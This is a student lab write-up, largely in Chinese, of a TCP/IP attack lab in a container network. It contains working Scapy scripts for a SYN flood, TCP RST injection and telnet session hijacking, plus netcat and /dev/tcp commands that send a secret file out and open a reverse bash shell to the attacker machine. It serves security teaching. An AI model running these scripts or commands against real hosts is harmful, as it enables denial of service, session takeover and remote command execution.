TCP/IP Attack Lab

启动环境

Task 1.1: Launching the Attack Using Python

攻击前先查看状态

netstat -tna

#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)

让攻击持续至少一分钟，然后试着进入受害者的机器，看看你是否能成功。你的攻击很可能会失败，这里进入victim的主机，发现很多半连接

Task 1.2: Launch the Attack Using C

Task 2: TCP RST Attacks on telnet Connections

进入10.9.0.6 telnet 10.9.0.7，并用wireshark抓包

抓包根据7给6的数据，更改py文件如下

#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.7")

tcp = TCP(sport=36030, dport=23, flags="R", seq=1574683417, ack=2506752736)



pkt = ip/tcp

ls(pkt)

send(pkt,verbose=0)

发现连接到7的connection断了

Task 3: TCP Session Hijacking

修改代码，添加data（随便一个16进制

#!/usr/bin/env python3

from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.7")

tcp = TCP(sport=36074, dport=23, flags="R", seq=2758682726, ack=3314205569)

data="68656c6c6f20776f726c64"

pkt = ip/tcp/data

ls(pkt)

send(pkt,verbose=0)

Task 4: Creating Reverse Shell using TCP Session Hijacking

攻击机：10.9.0.7

nc -lv 9090

在攻击机开启监听

受害机：10.9.0.5

cat /home/seed/secret> /dev/tcp/10.9.0.7/9090
$ /bin/bash -i > /dev/tcp/10.9.0.7/9090 0<&1 2>&1

并在10.9.0.6telnet 10.9.0.5，抓包，得到参数如下

#!/usr/bin/env python3
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
IPLayer = IP(src="10.9.0.6", dst="10.9.0.5")
# 6给5的 tcp数据包的参数

TCPLayer = TCP(sport=48852, dport=23, flags="A", seq=3017821363, ack=2102281185)
Data = "\r cat /home/seed/secret > /dev/tcp/10.9.0.7/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)

# Transmission Control Protocol, Src Port: 48852, Dst Port: 23, Seq: 3017821363, Ack: 2102281185, Len: 0

攻击者获得shell，能够在受害服务器上执行命令